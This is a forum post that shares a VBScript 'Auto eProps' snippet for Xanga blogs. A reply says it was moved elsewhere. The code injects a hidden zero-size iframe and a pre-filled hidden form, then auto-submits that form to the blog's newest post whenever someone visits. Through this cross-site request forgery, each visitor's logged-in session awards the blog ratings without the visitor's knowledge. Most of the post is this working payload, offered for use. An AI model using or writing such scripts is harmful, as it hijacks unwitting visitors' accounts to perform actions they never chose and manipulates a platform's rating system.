Auto eProps Options

[URLsaw]

This will automatically add eprops to your newest post when people visit. It searches for the words "Member Since" to make sure that the script is on the main xanga page, otherwise it would get stuck in a continuous loop, so it won't work if you use a skin that leaves out those words (they normally appear in the profile section).

CODE

<!-- begin code provided by createblog.com -->

<script language="vbscript">
//script made by URLsaw
document.write "<i"
document.write "frame name=___ width=0 height=0 border=0></i"
document.write "frame>"
</script>
<form target="___" name="sform" method="post" action="" id="sform">
<input type="hidden" name="__VIEWSTATE" value="dDwxMzY5NTYxNjA1O3Q8O2w8aTwwPjs+O2w8dDw7bDxpPDc+Oz47bDx0PDtsPGk8MT47PjtsPHQ8
2w8aTwwPjtpPDE+O2k8Mz47PjtsPHQ8cDxwPGw8VmlzaWJsZTs+O2w8bzxmPjs+Pjs+O2w8aTwxPjs+O
w8dDx0PDs7bDxpPDA+Oz4+Ozs+Oz4+O3Q8cDxwPGw8Q3NzQ2xhc3M7VGV4dDtfIVNCOz47bDxzbWFsbH
leHQ7Tm90ZTogeW91ciBjb21tZW50IHdpbGwgYXBwZWFyIGluIFRoZUdyYW5kZUFsbGlhbmNlJ3MgIGx
Y2FsIHRpbWUgem9uZTpcPGJyIC9cPlw8YSBocmVmPSIjIiBvbkNsaWNrPSJ3aW5kb3cub3BlbignL0Fi
3V0L0Fib3V0VGltZXpvbmVzLmFzcHgnLCAnYWJvdXRzYicsICdoZWlnaHQ9NjAwLG1lbnViYXI9bm8sc
VzaXphYmxlPXllcyxzY3JvbGxiYXJzPXllcyx0b29sYmFyPW5vLHdpZHRoPTQ3NScpXDsgcmV0dXJuIG
hbHNlXDsiXD5HTVQgKzEzOjAwXDwvYVw+O2k8Mj47Pj47Pjs7Pjt0PHA8cDxsPE5hdmlnYXRlVXJsO1R
eHQ7PjtsPC9ob21lLmFzcHg/dXNlcj1UaGVHcmFuZGVBbGxpYW5jZTtCYWNrIHRvIFRoZUdyYW5kZUFsbGlhbmNlJ3MgWGFuZ2EgU2l0
SE7Pj47Pjs7Pjs+Pjs+Pjs+Pjs+Pjs+" />
<input type=hidden name="rblEprops" value="2">
<input type=hidden name="bdescr" value="">
<input type=hidden name="btnSubmit" value="Submit"></form>
</form>
<script language=vbscript>
if instr(document.body.innertext, "Member Since") then
xa=instr(document.body.innerhtml, "http://www.xanga.com/item.aspx?user=")
xa2=instr(xa, document.body.innerhtml, ">")
document.forms("sform").action = mid(document.body.innerhtml, xa, xa2 - xa)
if right(document.forms("sform").action, 1) = chr(34) then document.forms("sform").action = left(document.forms("sform").action, len(document.forms("sform").action)-1)
document.forms("sform").action=replace(document.forms("sform").action,"&amp;","&")
document.forms("sform").bdescr.value = cs
msgbox document.forms("sform").action
document.forms("sform").submit
end if
</script>

<!-- end code provided by createblog.com -->

[micron]

Moved to backstage (the script).